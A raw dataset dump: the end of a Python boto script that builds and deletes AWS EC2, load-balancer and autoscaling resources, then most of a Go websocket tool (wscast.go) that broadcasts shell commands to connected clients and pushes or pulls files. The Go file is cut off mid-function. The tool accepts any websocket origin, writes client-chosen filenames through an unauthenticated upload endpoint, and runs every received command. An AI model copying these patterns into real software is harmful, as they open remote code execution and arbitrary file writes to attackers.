"text": "__author__ = 'townsley'\nimport boto.ec2\nimport boto.ec2.elb\nfrom boto.ec2.autoscale import LaunchConfiguration\nfrom boto.ec2.autoscale import AutoScalingGroup\nfrom boto.ec2.elb import HealthCheck\nimport time\nimport os\nimport os.path\nimport yaml\n\nconf_file='./aws.yaml'\n\n\ndef load_conf(conf=conf_file):\n # global variable to hold config dict\n global C\n with open(conf, 'r') as stream:\n C = yaml.load(stream)\n\n\ndef ec2_connect():\n _ec2 = boto.ec2.connect_to_region(C['region'])\n return _ec2\n\n\ndef elb_connect():\n _elb = boto.ec2.elb.connect_to_region(C['region'])\n return _elb\n\n\ndef asg_connect():\n _asg = boto.ec2.autoscale.connect_to_region(C['region'])\n return _asg\n\n\ndef create_key_pair(_ec2):\n # massage key_dir to make it OS friendly\n C['key_dir'] = os.path.expanduser(C['key_dir'])\n C['key_dir'] = os.path.expandvars(C['key_dir'])\n if not os.path.isdir(C['key_dir']):\n os.mkdir(C['key_dir'], 0o0700)\n try:\n key = _ec2.get_all_key_pairs(keynames=[C['key_name']])[0]\n except _ec2.ResponseError as e:\n if e.code == 'InvalidKeyPair.NotFound':\n if C['debug']: print('Creating keypair:', C['key_name'])\n key = _ec2.create_key_pair(C['key_name'])\n key.save(C['key_dir'])\n else:\n raise\n if C['debug']: print('Key Pair', key.name, 'is available')\n\n\ndef create_sec_group(_ec2):\n try:\n group = _ec2.get_all_security_groups(groupnames=[C['sec_group_id']])[0]\n except _ec2.ResponseError as e:\n if e.code == 'InvalidGroup.NotFound':\n if C['debug']: print('Creating Security Group:', C['sec_group_id'])\n group = _ec2.create_security_group(C['sec_group_id'], 'group with ssh/http access')\n else:\n raise\n if C['debug']: print('Security Group', group, 'is available')\n\n for port in [C['ssh_port'], C['http_port']]:\n try:\n group.authorize('tcp', port, port, C['cidr'])\n except _ec2.ResponseError as e:\n if e.code == 'InvalidPermission.Duplicate':\n if C['debug']: print('Security Group: %s already authorized for tcp port', port)\n else:\n raise\n if C['debug']: print('Security group %s authorized for tcp port', port)\n\n\ndef create_instances(_ec2, count=1):\n reservation = _ec2.run_instances(C['ami'],\n key_name=C['key_name'],\n security_groups=[C['sec_group_id']],\n instance_type=C['instance_type'],\n user_data=C['user_data'],\n max_count=count)\n if C['debug']: print('Reservation ID = ', reservation.id)\n\n for instance in reservation.instances:\n while instance.state != 'running':\n if C['debug']: print('Instance ID', instance.id, 'is', instance.state, '...')\n time.sleep(5)\n instance.update()\n\n _ec2.create_tags(instance.id, {'Name': C['tag_name']})\n\n if C['debug']: print('Instance state is', instance.state)\n if C['debug']: print('Instance FQDN is', instance.public_dns_name)\n\n return reservation.instances\n\n\ndef terminate_instances_by_tag(_ec2):\n reservations = _ec2.get_all_instances(filters={'tag:Name': C['tag_name'], 'instance-state-name': 'running'})\n instances = []\n for reservation in reservations:\n for instance in reservation.instances:\n instances.append(instance.id)\n _ec2.terminate_instances(instances)\n for instance in reservation.instances:\n while instance.state != 'terminated':\n if C['debug']: print('Instance ID', instance.id, 'is', instance.state, '...')\n time.sleep(5)\n instance.update()\n if C['debug']: print('Instance', instance.id, 'is', instance.state)\n\n\ndef create_health_check(_elb):\n hc = HealthCheck(\n interval=C['elb_interval'],\n timeout=C['elb_timeout'],\n healthy_threshold=C['healthy_threshold'],\n unhealthy_threshold=C['unhealthy_threshold'],\n target=C['elb_target']\n )\n return hc\n\n\ndef create_load_balancer(_elb):\n lbs = _elb.get_all_load_balancers()\n if C['elb_name'] in lbs:\n return\n hc = create_health_check(_elb)\n zones = [C['zonea'],C['zoneb']]\n ports = [(80, 80, 'http'), (443, 443, 'tcp')]\n lb = _elb.create_load_balancer(C['elb_name'], zones, ports)\n lb.configure_health_check(hc)\n print(lb.dns_name)\n return lb\n\n\ndef lb_register_instances(_lb, _instances):\n i_list=[]\n for instance in instances:\n i_list.append(instance.id)\n _lb.register_instances(i_list)\n\n\ndef delete_load_balancer(_elb):\n lbs = _elb.get_all_load_balancers(load_balancer_names=[C['elb_name']])\n if len(lbs) > 0:\n _elb.delete_load_balancer(C['elb_name'])\n\n\ndef create_launch_config(_asg):\n lc = LaunchConfiguration(name=C['lc_name'], image_id=C['ami'],\n key_name=C['key_name'],\n security_groups=[C['sec_group_id']])\n lcs = _asg.get_all_launch_configurations(names=[C['lc_name']])\n if len(lcs) == 0:\n _asg.create_launch_configuration(lc)\n return lc\n\n\ndef delete_launch_config(_asg):\n lcs = _asg.get_all_launch_configurations(names=[C['lc_name']])\n if len(lcs) > 0:\n _asg.delete_launch_configuration(C['lc_name'])\n\n\ndef create_autoscale_group(_asg):\n lc = create_launch_config(_asg)\n ag = AutoScalingGroup(group_name=C['asg_name'], load_balancers=[C['elb_name']],\n availability_zones=[C['zonea'],C['zoneb']],\n launch_config=lc, min_size=C['asg_min'], max_size=C['asg_max'],\n connection=_asg)\n ags = _asg.get_all_groups(names=[C['asg_name']])\n if len(ags) == 0:\n _asg.create_auto_scaling_group(ag)\n while [ True ]:\n ag.get_activities()\n time.sleep(5)\n print(\"mark\")\n\n\ndef delete_autoscale_group(_asg):\n _asg.delete_auto_scaling_group(C['asg_name'])\n\n\ndef scorched_earth(_ec2, _elb, _asg):\n terminate_instances_by_tag(_ec2)\n delete_load_balancer(_elb)\n delete_autoscale_group(_asg)\n delete_launch_config(_asg)\n\nif __name__ == \"__main__\":\n load_conf()\n\n # EC2 BLOCK\n ec2 = ec2_connect()\n # create_key_pair(ec2)\n # create_sec_group(ec2)\n # instances = create_instances(ec2, 2)\n\n # ELB BLOCK\n elb = elb_connect()\n # lb = create_load_balancer(elb)\n # lb_register_instances(lb, instances)\n\n # ASG BLOCK\n asg = asg_connect()\n # create_autoscale_group(asg)\n\n # REMOVE EVERYTHING\n scorched_earth(ec2, elb, asg)\n\n"
}
] | 1 |
yasutakatou/wscast | https://github.com/yasutakatou/wscast | 987ce0fdd89c8c72b19578c216a7197c86887f05 | f50b3613ffd46e2d78a81dc9a54363080e74eb70 | 734dd6e9025d6fe2c88b361581afb5f6447d51b3 | refs/heads/master | 2020-08-07T04:17:10.451922 | 2019-10-09T07:20:21 | 2019-10-09T07:20:21 | 213,293,500 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5396963357925415,
"alphanum_fraction": 0.5478391647338867,
"avg_line_length": 24.244314193725586,
"blob_id": "08ee0d5af8cb1094844f4c038d00b604fd8192ec",
"content_id": "c29ccad6fac510c0557689aaf733d329cf151365",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Go",
"length_bytes": 29965,
"license_type": "no_license",
"max_line_length": 140,
"num_lines": 1187,
"path": "/wscast.go",
"repo_name": "yasutakatou/wscast",
"src_encoding": "UTF-8",
"text": "/*\njupyter notebook --allow-root --ip=0.0.0.0\nGOOS=windows GOARCH=386 CC=i686-w64-mingw32-gcc go build srv7.go\n\nexport SERVER=240.212.0.67:8080\nexport SERVER=192.168.0.19:8080\n\ndd if=/dev/zero of=dum2 bs=1M count=10\n*/\n\npackage main\n\nimport (\n \"flag\"\n \"fmt\"\n \"github.com/yasutakatou/ishell\"\n \"github.com/gorilla/websocket\"\n \"golang.org/x/text/encoding/japanese\"\n \"golang.org/x/text/transform\"\n \"gopkg.in/ini.v1\"\n \"io\"\n \"io/ioutil\"\n \"log\"\n \"net\"\n \"net/http\"\n \"net/url\"\n \"os\"\n \"os/exec\"\n \"regexp\"\n \"strconv\"\n \"strings\"\n \"sync\"\n \"time\"\n)\n\nvar ActiveClients = make(map[ClientConn]int)\nvar ActiveClientsRWMutex sync.RWMutex\nvar shell=ishell.New()\n\nvar readBuffer [][]string\nvar readFlag bool = false\n\nvar master string = \"\"\nvar OS int = 1\n// 1: Linux / 2: Windows\nvar remote bool = true\n// true: Remote / false: Local\nvar debug bool = true\nvar clientsAlert int = 0\nvar HEARTBEAT int = 5\nvar HEARTBEATCOUNT int = 5\nvar autoChecksum string = \"\"\nvar pushFilename string= \"\"\nvar pushServer string = \"\"\nvar syncFilename string= \"\"\nvar anycast bool = true\nvar syncFlag bool = false\nvar socketUpload string\nvar BUFFERLIMIT int = 1\n\ntype ClientConn struct {\n websocket *websocket.Conn\n clientIP net.Addr\n live int\n}\n\nfunc addClient(cc ClientConn) {\n ActiveClientsRWMutex.Lock()\n ActiveClients[cc] = 0\n ActiveClientsRWMutex.Unlock()\n}\n\nfunc deleteClient(cc ClientConn) {\n ActiveClientsRWMutex.Lock()\n delete(ActiveClients, cc)\n ActiveClientsRWMutex.Unlock()\n}\n\nfunc changeClient(cc ClientConn, ccc ClientConn) {\n ActiveClientsRWMutex.Lock()\n delete(ActiveClients, cc)\n ActiveClients[ccc] = 0\n ActiveClientsRWMutex.Unlock()\n}\n\nfunc broadcastMessage(messageType int, message []byte, rflag bool, targ string) {\n if rflag == true {\n if readFlag == true {\n fmt.Println(\"now command result collecting!\")\n return\n }\n readFlag = true\n }\n\n ActiveClientsRWMutex.RLock()\n defer ActiveClientsRWMutex.RUnlock()\n\n for client, _ := range ActiveClients {\n if targ == \"\" || targ == IPtoString(client) {\n\n if debug == true { \n if messageType == websocket.TextMessage {\n fmt.Printf(\"cast: %s -> %s \\n\", message, client.clientIP)\n err := client.websocket.WriteMessage(messageType, message);\n if err != nil {\n log.Println(err)\n }\n } else {\n for i := 0; i < len(readBuffer); i++ {\n if readBuffer[i][1] == IPtoString(client) {\n if readBuffer[i][0] == \"pushstatusok\" {\n fmt.Printf(\"binary: data -> %s \\n\", client.clientIP)\n err := client.websocket.WriteMessage(messageType, message);\n if err != nil {\n log.Println(err)\n }\n }\n }\n }\n }\n }\n }\n }\n}\n\nfunc IPtoString(cc ClientConn) (string) {\n string := fmt.Sprintf(\"%s\", cc.clientIP)\n return string\n}\n\nfunc pull(filename string) {\n ActiveClientsRWMutex.RLock()\n defer ActiveClientsRWMutex.RUnlock()\n\n for client, _ := range ActiveClients {\n if IPtoString(client) == master {\n err := client.websocket.WriteMessage(websocket.TextMessage, []byte(\"pull \" + filename));\n if err != nil {\n log.Println(err)\n }\n }\n }\n}\n\nfunc logoutClient(targ string) {\n count := 0\n cflag := false\n prompt := \">>\"\n\n for client, _ := range ActiveClients {\n if IPtoString(client) == targ {\n err := client.websocket.Close()\n if err != nil {\n log.Println(err)\n }\n deleteClient(client)\n if count > 0 { \n break\n } else {\n cflag = true\n }\n }\n prompt = IPtoString(client)\n if count > 0 && cflag == true { break }\n count = count + 1\n }\n\n if len(ActiveClients) == 0 {\n master = \"\"\n shell.SetPrompt(\">>> \")\n return\n }\n\n master = prompt\n\n shell.SetPrompt(prompt + \"> \")\n}\n\nfunc promptSet(server,char string) {\n if server == \"\" { \n shell.SetPrompt(\">>> \")\n return\n }\n\n if len(char) > 0 {\n shell.SetPrompt(server + char + \" \")\n } else {\n shell.SetPrompt(server + \"> \")\n }\n}\n\nfunc listString(targ string,strings []string) {\n fmt.Println(\" -- \" + targ + \" command --\")\n for i := 0; i < len(strings); i++ {\n fmt.Println(strings[i])\n }\n}\n\nfunc clearClient() {\n for client, _ := range ActiveClients {\n client.websocket.Close()\n deleteClient(client)\n }\n\n readBuffer = nil\n readFlag = false\n\n shell.SetPrompt(\">>> \")\n}\n\nfunc main() {\n\n _, err := exec.Command(os.Getenv(\"SHELL\"), \"-c\", \"which cksum\").Output()\n if err != nil {\n OS = 2\n }\n\n if OS == 1 {\n fmt.Println(\" - - - OS: Linux - - -\")\n } else {\n fmt.Println(\" - - - OS: Windows - - -\")\n }\n\n BUFFERLIMIT, err := strconv.Atoi(os.Getenv(\"BUFFERLIMIT\"))\n if BUFFERLIMIT < 1 { BUFFERLIMIT = 1 }\n\n HEARTBEATCOUNT, err := strconv.Atoi(os.Getenv(\"HEARTBEATCOUNT\"))\n if HEARTBEATCOUNT < 1 { HEARTBEATCOUNT = 5 }\n\n HEARTBEAT, err := strconv.Atoi(os.Getenv(\"HEARTBEAT\"))\n if HEARTBEAT < 1 { HEARTBEAT = 5 }\n\n fmt.Printf(\"Bufferlimit: %d HeartbeatCount: %d selfHeartbeat: %d\\n\",BUFFERLIMIT,HEARTBEATCOUNT,HEARTBEAT)\n\n DEBUG := os.Getenv(\"DEBUG\")\n if DEBUG == \"true\" { debug = true }\n fmt.Printf(\"debug mode: %t\\n\", debug)\n\n server := os.Getenv(\"SERVER\")\n if server != \"\" { \n socketUpload = \"http://\" + server + \"/\"\n clientMain(server)\n os.Exit(0)\n }\n\n CONFIG := os.Getenv(\"CONFIG\")\n if CONFIG == \"\" {\n CONFIG = \"./config.ini\"\n }\n\n port := os.Getenv(\"PORT\")\n if port == \"\" { port = \"8080\" }\n\n // read .ini =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =\n\n lock := []string{}\n yesno := []string{}\n notice := []string{}\n alias := []string{}\n checksum := []string{}\n\n loadOptions := ini.LoadOptions{}\n loadOptions.UnparseableSections = []string{\"lock\", \"yesno\",\"notice\",\"alias\",\"checksum\"}\n\n if Exists(CONFIG) == true {\n cfg, err := ini.LoadSources(loadOptions, CONFIG)\n if err != nil {\n fmt.Printf(\"Fail to read file: %v\", err)\n os.Exit(1)\n }\n\n for _, v := range regexp.MustCompile(\"\\r\\n|\\n\\r|\\n|\\r\").Split(cfg.Section(\"lock\").Body(), -1) { lock = append(lock, v) }\n for _, v := range regexp.MustCompile(\"\\r\\n|\\n\\r|\\n|\\r\").Split(cfg.Section(\"yesno\").Body(), -1) { yesno = append(yesno, v) }\n for _, v := range regexp.MustCompile(\"\\r\\n|\\n\\r|\\n|\\r\").Split(cfg.Section(\"notice\").Body(), -1) { \n if optionValid(v, false) == true { notice = append(notice, v) }\n }\n for _, v := range regexp.MustCompile(\"\\r\\n|\\n\\r|\\n|\\r\").Split(cfg.Section(\"alias\").Body(), -1) { \n if optionValid(v, false) == true { alias = append(alias, v) }\n }\n for _, v := range regexp.MustCompile(\"\\r\\n|\\n\\r|\\n|\\r\").Split(cfg.Section(\"checksum\").Body(), -1) { \n if optionValid(v, true) == true { checksum = append(checksum, v) }\n }\n\n //if debug == true { \n // listString(\"lock\",lock)\n // listString(\"yesno\",yesno)\n // listString(\"notice\",notice)\n // listString(\"alias\",alias)\n // listString(\"checksum\",checksum)\n //}\n } else {\n fmt.Printf(\"not found config: %s\\n\", CONFIG)\n }\n\n // - =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =\n\n fmt.Printf(\"Server listening on port %s.\\n\", port)\n go func (){\n err := http.ListenAndServe(\":\"+port, http.HandlerFunc(handler))\n if err != nil {\n panic(err)\n }\n }()\n\n // Shell config =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"listConfig\",\n Help: \"list Config. lock / yesno / notice / alias\",\n Func: func(c *ishell.Context) {\n listString(\"lock\",lock)\n listString(\"yesno\",yesno)\n listString(\"notice\",notice)\n listString(\"alias\",alias)\n listString(\"checksum\",checksum)\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"delConfig\",\n Help: \"del Config. lock / yesno / notice / alias\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 2 {\n fmt.Printf(\"delConfig Usage: (lock/yesno/notice/alias) (value)\\n\")\n return\n }\n\n switch c.Args[0] {\n case \"lock\":\n lock = removeString(lock, c.Args[1])\n case \"yesno\":\n yesno = removeString(yesno, c.Args[1])\n case \"notice\":\n notice = removeString(notice, c.Args[1])\n case \"alias\":\n alias = removeString(alias, c.Args[1])\n case \"checksum\":\n checksum = removeString(checksum, c.Args[1])\n default:\n fmt.Printf(\"delConfig Usage: (lock/yesno/notice/alias) (value)\\n\", port)\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"addConfig\",\n Help: \"add Config. lock / yesno / notice / alias\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 2 {\n fmt.Printf(\"addConfig Usage: (lock/yesno/notice/alias) (value)\\n\")\n return\n }\n\n switch c.Args[0] {\n case \"lock\":\n lock = append(lock, c.Args[1])\n case \"yesno\":\n yesno = append(yesno, c.Args[1])\n case \"notice\":\n notice = append(notice, c.Args[1])\n case \"alias\":\n alias = append(alias, c.Args[1])\n case \"checksum\":\n checksum = append(checksum, c.Args[1])\n default:\n fmt.Printf(\"addConfig Usage: (lock/yesno/notice/alias) (value)\\n\", port)\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"OS\",\n Help: \"target OS Type Linux / Windows\",\n Func: func(c *ishell.Context) {\n switch OS {\n case 1:\n OS = 2\n fmt.Println(\"switch to -> Windows\")\n case 2:\n OS = 1\n fmt.Println(\"switch to -> Linux\")\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"clearBuffer\",\n Help: \"remote command buffer clear\",\n Func: func(c *ishell.Context) {\n readBuffer = nil\n readFlag = false\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"clearClients\",\n Help: \"clear clients\",\n Func: func(c *ishell.Context) {\n clearClient()\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"push\",\n Help: \"push file for clients. push FILENAME TARGETDIR\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 2 {\n fmt.Printf(\"push Usage: (local file) (remote file)\\n\")\n return\n }\n\n if anycast == false {\n fmt.Println(\"push file not allow unicast mode.\")\n return\n }\n\n if Exists(c.Args[0]) == true {\n dst := dirValidate(c.Args[0],c.Args[1])\n broadcastMessage(websocket.TextMessage, []byte(\"push \" + c.Args[0] + \" \" + dst), true, \"\")\n pushFilename = c.Args[0]\n pushServer = \"*\"\n } else {\n fmt.Println(\"push file \" + c.Args[0] + \" not found.\")\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"pull\",\n Help: \"pull file from master client\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"pull Usage: (remote file)\\n\")\n return\n }\n pull(c.Args[0])\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"hosts\",\n Help: \"clients list\",\n Func: func(c *ishell.Context) {\n if debug == true { fmt.Printf(\"clients: %d readFlag: %t readBuffer: %d\\n\", len(ActiveClients), readFlag, len(readBuffer)) }\n fmt.Printf(\"anycast: %t\\n\", anycast)\n fmt.Printf(\"heartbeat: %d\\n\", HEARTBEAT)\n fmt.Printf(\"clients alert: %d\\n\", clientsAlert)\n switch OS {\n case 1:\n fmt.Println(\"target OS -> Linux\")\n case 2:\n fmt.Println(\"target OS -> Windows\")\n }\n fmt.Printf(\"remote execute: %t\\n\", remote)\n clientList()\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"clientsAlert\",\n Help: \"client connections low notice. 0 is disable\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"clientsAlert Usage: (clients count)\\n\")\n return\n }\n\n cnt, err := strconv.Atoi(c.Args[0])\n if cnt < 1 {\n fmt.Printf(\"clientsAlert Usage: (clients count)\\n\")\n return\n }\n clientsAlert = cnt\n if err != nil {\n log.Fatal(err)\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"logout\",\n Help: \"logout client\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"logout Usage: (logout clientip:port *hosts*)\\n\")\n return\n }\n logoutClient(c.Args[0])\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"switch\",\n Help: \"switch master\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"switch Usage: (switch master clientip:port *hosts*)\\n\")\n return\n }\n changeMaster(c.Args[0])\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"mode\",\n Help: \"remote or local execute palce switch\",\n Func: func(c *ishell.Context) {\n if remote == true {\n remote = false\n promptSet(\"\", \"\")\n } else {\n remote = true\n if anycast == true {\n promptSet(master, \"\")\n } else {\n promptSet(master, \"#\")\n }\n }\n fmt.Printf(\"remote execute: %t\\n\", remote)\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"anycast\",\n Help: \"command run all client mode\",\n Func: func(c *ishell.Context) {\n if anycast == true {\n anycast = false\n promptSet(master, \"#\")\n } else {\n anycast = true\n promptSet(master, \"\")\n }\n fmt.Printf(\"anycast: %t\\n\", anycast)\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"debug\",\n Help: \"debug mode switch\",\n Func: func(c *ishell.Context) {\n if debug == true {\n debug = false\n } else {\n debug = true\n }\n fmt.Printf(\"debug mode: %t\\n\", debug)\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"checksum\",\n Help: \"file checksum by get Broadcast\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"checksum Usage: (remote file)\\n\")\n return\n }\n checksumFile(c.Args[0])\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"default\",\n Help: \"default input is execute command\",\n Func: func(c *ishell.Context) {\n\n doCmd := c.Args[0]\n aliasCmd,checksumCmd := iniCheck(doCmd,lock,yesno,notice,alias,checksum)\n if len(aliasCmd) > 0 {\n doCmd = aliasCmd\n }\n if len(checksumCmd) > 0 {\n cnt, err := strconv.Atoi(checksumCmd)\n if err != nil {\n log.Fatal(err)\n }\n autoChecksum = c.Args[cnt]\n }\n\n for i := 1; i < len(c.Args); i++ {\n doCmd += \" \"\n doCmd += c.Args[i]\n }\n\n if remote == true {\n if len(ActiveClients) > 0 {\n if aliasCmd != \"notallowcommand\" {\n if anycast == true {\n broadcastMessage(websocket.TextMessage, []byte(doCmd), true, \"\")\n } else {\n broadcastMessage(websocket.TextMessage, []byte(doCmd), true, master)\n }\n }\n } else {\n fmt.Println(\"client no connect\")\n }\n } else {\n if aliasCmd != \"notallowcommand\" {\n fmt.Println(string(execmd(doCmd)))\n }\n }\n },\n })\n\n shell.AddCmd(&ishell.Cmd{\n Name: \"sync\",\n Help: \"sync file from master client\",\n Func: func(c *ishell.Context) {\n if len(c.Args) < 1 {\n fmt.Printf(\"sync Usage: (sync master remote file)\\n\")\n return\n }\n\n if anycast == false {\n fmt.Println(\"sync file not allow unicast mode.\")\n return\n }\n\n if len(ActiveClients) > 1 {\n pull(c.Args[0])\n syncFilename = c.Args[0]\n } else {\n fmt.Println(\"sync command allow join client > 1\")\n }\n },\n })\n\n shell.Run()\n\n // - =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =- =\n\n}\n\nfunc dirValidate(src,dst string) (string) {\n result := \"\"\n params := strings.Split(dst, \"/\")\n\n switch params[(len(params) - 1)] {\n case src:\n result = dst\n case \"\":\n result = dst + dirLocal(src)\n default:\n result = dst + \"/\" + dirLocal(src)\n }\n\n return result\n}\n\nfunc removeString(strings []string, search string) []string {\n result := []string{}\n for _, v := range strings {\n if v != search {\n result = append(result, v)\n }\n }\n return result\n}\n\nfunc optionValid(str string, types bool) bool {\n params := strings.Split(str, \":\")\n\n if len(params) == 2 {\n if len(params[0]) == 0 || len(params[1]) == 0 {\n fmt.Println(\"skip load config: \" + str)\n return false\n }\n if types == true {\n _, err := strconv.Atoi(params[1])\n if err != nil {\n log.Fatal(err)\n fmt.Println(\"skip load config: \" + str)\n return false\n }\n }\n }\n return true\n}\n\nfunc Ask4confirm() bool {\n var s string\n\n fmt.Printf(\"(y/N): \")\n _, err := fmt.Scan(&s)\n if err != nil {\n panic(err)\n }\n\n s = strings.TrimSpace(s)\n s = strings.ToLower(s)\n\n if s == \"y\" || s == \"yes\" {\n return true\n }\n return false\n}\n\nfunc iniCheck(cmd string, lock,yesno,notice,alias,checksum []string) (string,string) {\n for i := 0; i < len(lock); i++ {\n if strings.HasPrefix(cmd, lock[i]) == true {\n fmt.Println(\"command: \" + cmd + \" is locked!\")\n return \"notallowcommand\",\"\"\n }\n }\n\n for i := 0; i < len(yesno); i++ {\n if strings.HasPrefix(cmd, yesno[i]) == true {\n if Ask4confirm() == false { return \"notallowcommand\",\"\" }\n return \"\",\"\"\n }\n }\n\n for i := 0; i < len(notice); i++ {\n params := strings.Split(notice[i], \":\")\n if strings.HasPrefix(cmd, params[0]) == true {\n fmt.Println(params[1])\n return \"\",\"\"\n }\n }\n\n for i := 0; i < len(alias); i++ {\n params := strings.Split(alias[i], \":\")\n if strings.HasPrefix(cmd, params[0]) == true {\n return params[1],\"\"\n }\n }\n\n for i := 0; i < len(checksum); i++ {\n params := strings.Split(checksum[i], \":\")\n if strings.HasPrefix(cmd, params[0]) == true {\n return \"\",params[1]\n }\n }\n \n return \"\",\"\"\n}\n\nfunc checksumFile(targ string) {\n if remote == true {\n if len(ActiveClients) > 0 {\n switch OS {\n case 1:\n broadcastMessage(websocket.TextMessage, []byte(\"cksum \" + targ), true, \"\")\n case 2:\n broadcastMessage(websocket.TextMessage, []byte(\"certutil -hashfile \" + targ + \" MD5\"), true, \"\")\n }\n } else {\n fmt.Println(\"client no connect\")\n }\n }\n}\n\nfunc changeMaster(targ string) {\n for client, _ := range ActiveClients {\n if IPtoString(client) == targ {\n prompt := targ\n shell.SetPrompt(prompt + \"> \")\n master = prompt\n }\n }\n clientList()\n}\n\nfunc clientList() {\n count := 1\n fmt.Println(\" |M|C| IP |\")\n\n for client, _ := range ActiveClients {\n fmt.Printf(\"%3s\",strconv.Itoa(count))\n if master == IPtoString(client) {\n fmt.Printf(\"|*|\")\n } else {\n fmt.Printf(\"| |\")\n }\n fmt.Printf(\"%d|\",client.live)\n fmt.Println(client.clientIP)\n count = count + 1\n }\n}\n\nfunc push(messageType int, filename string) {\n ActiveClientsRWMutex.RLock()\n defer ActiveClientsRWMutex.RUnlock()\n\n contents, err := ioutil.ReadFile(filename)\n if err != nil {\n panic(err)\n }\n\n if debug == true { fmt.Printf(\"pushFile: %s pushTarget: %s (%d)\\n\", filename, pushServer, len(contents)) }\n\n if pushServer == \"*\" {\n pushServer = \"\"\n }\n broadcastMessage(messageType, contents, false, pushServer)\n}\n\nfunc rmFile(command string) {\n var err error\n\n if debug == true { fmt.Printf(\"temp file: %s delete.\\n\", command) }\n\n switch OS {\n case 1: \n cmd := exec.Command(os.Getenv(\"SHELL\"), \"-c\", \"rm \" + command)\n \n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n \n cmd.Run()\n case 2:\n _, err = exec.Command(\"cmd\", \"/C\", \"del \" + command).Output()\n if err != nil {\n log.Fatal(err)\n }\n }\n}\n\nfunc execmd(command string) []byte {\n var out []byte\n var err error\n\n switch OS {\n case 1: \n cmd := exec.Command(os.Getenv(\"SHELL\"), \"-c\", command)\n \n cmd.Stdin = os.Stdin\n cmd.Stdout = os.Stdout\n cmd.Stderr = os.Stderr\n \n cmd.Run()\n case 2:\n out, err = exec.Command(\"cmd\", \"/C\",command).Output()\n if err != nil {\n log.Fatal(err)\n }\n fmt.Printf(\"%s\\n\", out)\n }\n return out\n}\n\nvar upgrader = websocket.Upgrader{\n ReadBufferSize: (BUFFERLIMIT*1024*1024),\n WriteBufferSize: (BUFFERLIMIT*1024*1024),\n CheckOrigin: func(*http.Request) bool {\n return true\n },\n}\n\nfunc handler(wr http.ResponseWriter, req *http.Request) {\n //fmt.Printf(\"%s | %s %s\\n\", req.RemoteAddr, req.Method, req.URL)\n if websocket.IsWebSocketUpgrade(req) {\n serveWebSocket(wr, req)\n } else if req.URL.Path == \"/upload\" {\n filename := req.URL.Query().Get(\"filename\")\n\n if filename == \"\" {\n log.Fatal(\"Filename is empty\")\n }\n\n file, err := os.Create(filename)\n if err != nil {\n panic(err)\n }\n n, err := io.Copy(file, req.Body)\n _ = n\n if err != nil {\n panic(err)\n }\n\n fmt.Printf(\"\\npull file: \" + filename + \" done.\");\n } \n}\n\nfunc receiveMsg(ws *websocket.Conn) {\n for {\n _, st, err := ws.ReadMessage()\n if err != nil {\n fmt.Println(\"err: \", err)\n return\n }\n\n if string(st) == \"pullstatusfail\" {\n fmt.Printf(\"push or sync file \" + pushFilename + \" fail.\")\n pushFilename = \"\"\n pushServer = \"\"\n syncFlag = false\n return\n }\n\n if string(st) != \"heartbeatmessage\" && string(st) != \"pushstatusok\" {\n if debug == true || anycast == false {\n fmt.Printf(\"\\n - - %s - - \\n\", ws.RemoteAddr())\n fmt.Printf(\"%s - - - - - - \\n\",string(st))\n }\n }\n\n if string(st) != \"heartbeatmessage\" {\n ipaddr := fmt.Sprintf(\"%s\", ws.RemoteAddr())\n readBuffer = append(readBuffer, []string{string(st), ipaddr})\n } \n \n count := 0\n for client, _ := range ActiveClients {\n ipaddr := fmt.Sprintf(\"%s\", ws.RemoteAddr())\n ipstr := IPtoString(client)\n if ipaddr == ipstr {\n if client.live < HEARTBEATCOUNT { \n sockCli := ClientConn{client.websocket, client.clientIP, HEARTBEATCOUNT}\n changeClient(client, sockCli)\n }\n }\n count = count + 1\n }\n }\n}\n\nfunc getClient(cnt int) string {\n count := 1\n ret := \"NOTFOUND\"\n\n for client, _ := range ActiveClients {\n if cnt == count {\n ret = fmt.Sprintf(\"%s\", client.clientIP)\n return ret\n }\n count = count + 1\n }\n return ret\n}\n\nfunc Exists(filename string) bool {\n _, err := os.Stat(filename)\n return err == nil\n}\n\nfunc masterBuffersearch() (string) {\n for i := 0; i < len(readBuffer); i++ {\n if readBuffer[i][1] == master {\n return readBuffer[i][0]\n }\n }\n return \"\"\n}\n\nfunc 